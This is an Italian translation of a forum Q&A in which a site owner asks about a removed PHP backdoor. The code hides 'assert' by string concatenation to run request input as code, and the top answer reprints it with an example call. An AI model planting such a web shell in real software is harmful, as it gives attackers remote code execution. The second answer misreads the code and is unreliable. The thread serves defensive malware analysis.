Cosa fa questo codice PHP sospetto? [duplicare]

18

Sto ripulendo un sito Web dopo un attacco che ha comportato il caricamento di molte% di% shellPHP. Ho trovato e rimosso il seguente codice:

if(isset($_REQUEST['e'])) { $b="ass"."ert";$a=$b($_REQUEST['e']);${'a'}; }

Potresti dirmi cosa fa? In che modo ${'a'} porta all'esecuzione del codice? Il codice iniettato è inviato dalla richiesta POST?

    
posta user136206 13.01.2017 - 00:06
fonte

2 risposte

45

È una shell Web offuscata che consente l'esecuzione di codice in modalità remota.

Lo script alimenta $_REQUEST['e'] nella funzione assert() . Questo valuta il parametro di richiesta e come PHP. Usalo in questo modo:

http://example.com/shell.php?e=phpinfo()

assert() è una funzionalità di debug per valutare asserzioni. Ma se lo si alimenta con una stringa arbitraria, verrà eseguito come un'espressione PHP. È un modo ingegnoso per evitare eval() per impedire il rilevamento di malware.

Ecco lo snippet riformattato e commentato:

<?php
// Make sure request parameter e is provided
if(isset($_REQUEST['e'])) {
    // Complicate static analysis by assembling "assert" from multiple strings
    $b = "ass"."ert";
    // Evaluate assertion (yes, in PHP you can "call" a string as function name)
    $a = $b($_REQUEST['e']);
    // Junk. The assertion has already run, this doesn't do anything
    ${'a'};
}
?>

How does ${'a'} lead to code execution?

Non è così. $b($_REQUEST['e']) è dove viene eseguita l'asserzione. Il codice funziona senza ${'a'} .

Is the injected code sent by POST request?

$_REQUEST consente di inviare il parametro tramite GET e POST .

    
risposta data 13.01.2017 - 00:26
fonte
6

Scopriamolo.

$b="ass"."ert"

Questo creerà una variabile 'b' con 'ass' concatenato con 'ert' per formare 'assert'.

$a=$b($_REQUEST['e']);

Poiché b = 'asserire' valuterà di asserire () passare qualunque cosa sia 'e' nella richiesta. Assert è una funzione che controlla se il cosa è passato è falso ( link ).

${'a'} 

Questo in realtà non fa nulla. È uguale a $ a.

Se l'hacker passa qualcosa come "e" nella richiesta richiedendo la pagina yourdomain.com/thephpfile.php?e=1%3D2 il browser convertirà% 3D al segno "=" ed e sarà '1 = 2'.

Mettiamola insieme.

$ { 'assert (1 = 2)'}

Questo restituirà 1 perché sta asserendo che il risultato è falso.

Questo può essere usato per controllare le variabili nella tua pagina php controllando per vedere se una variabile è uguale a quello che hanno passato.

Fammi sapere se hai bisogno di chiarimenti.

    
risposta data 13.01.2017 - 00:35
fonte

Leggi altre domande sui tag